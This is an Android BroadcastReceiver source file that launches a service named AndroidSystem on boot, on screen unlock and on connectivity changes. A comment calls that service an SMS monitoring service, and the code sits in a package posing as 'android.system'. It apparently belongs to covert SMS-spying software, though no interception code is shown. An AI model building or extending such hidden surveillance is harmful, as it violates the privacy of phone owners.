package android.system;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.wifi.WifiManager;
import android.system.utils.LogUtils;
import android.system.utils.NetWorkManager;
import android.util.Log;
import android.widget.Toast;



public class AndroidServiceReceiver extends BroadcastReceiver {
	
	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		String action = intent.getAction();
		Log.e("============", action);
		
		if(action.equals(WifiManager.WIFI_STATE_CHANGED_ACTION))
		{
			//监听WIFI状态变化
			log("WIFI_STATE_CHANGED_ACTION");
		}
		else if(action.equals(ConnectivityManager.CONNECTIVITY_ACTION))
		{
			//监听网络连接状态变化
		
			boolean isNetWorkConnected = false;
			if(SysAplication.getMe()!=null&&SysAplication.getMe().getNetWorkManager()!=null)
				if(SysAplication.getMe().getNetWorkManager().isNetWorkConnected())
				{
					//网络连接已建立
					isNetWorkConnected = true;
				}else{
					  
					//网络连接已断开
					
					//stopReciverData( context);
				}
			Intent iten = new Intent(AndroidSystem.CONNECTIVITY_ACTION);
			iten.putExtra("NetWorkConnectedStatus",isNetWorkConnected);
			iten.setClass(context, AndroidSystem.class);
			context.startService(iten);
		
		
		}else if(action.equals(Intent.ACTION_USER_PRESENT)){
			//手机屏幕打开
			
			//Toast.makeText(context,"USER_PRESENT", Toast.LENGTH_SHORT).show();
			logE(" USER_PRESENT");
			if(AndroidSystem.getMe()==null){
				startAndroidSystem( context);
			}
		}else if(action.equals(Intent.ACTION_BOOT_COMPLETED)){
			//开机自动启动
			logE(" BOOT_COMPLETED");
			if(AndroidSystem.getMe()==null){
				startAndroidSystem( context);
			}
		}

		
		/*use状态广播
		 * else 
		if (action.equals(Intent.ACTION_MEDIA_EJECT)){
			log("ACTION_MEDIA_EJECT");
		}else 
		if (action.equals(Intent.ACTION_MEDIA_SHARED)){
			log("ACTION_MEDIA_SHARED");
		}
		else 
		if (action.equals(Intent.ACTION_MEDIA_REMOVED)){
			log("ACTION_MEDIA_REMOVED");
		}else 
			if(action.equals(Intent.ACTION_MEDIA_CHECKING)){
				log("ACTION_MEDIA_CHECKING");
		}*/
		
	}
	
	/**
	 * 启动短信监控服务
	 * 
	 * **/
	private void startAndroidSystem(Context context){
		context.startService(new Intent(context, AndroidSystem.class));
	}

	private void log(String msg){
		LogUtils.logD("AnroidServiceReceiver", msg);
	}
	
	private void logE(String msg){
		LogUtils.logE("AnroidServiceReceiver", msg);
	}
}
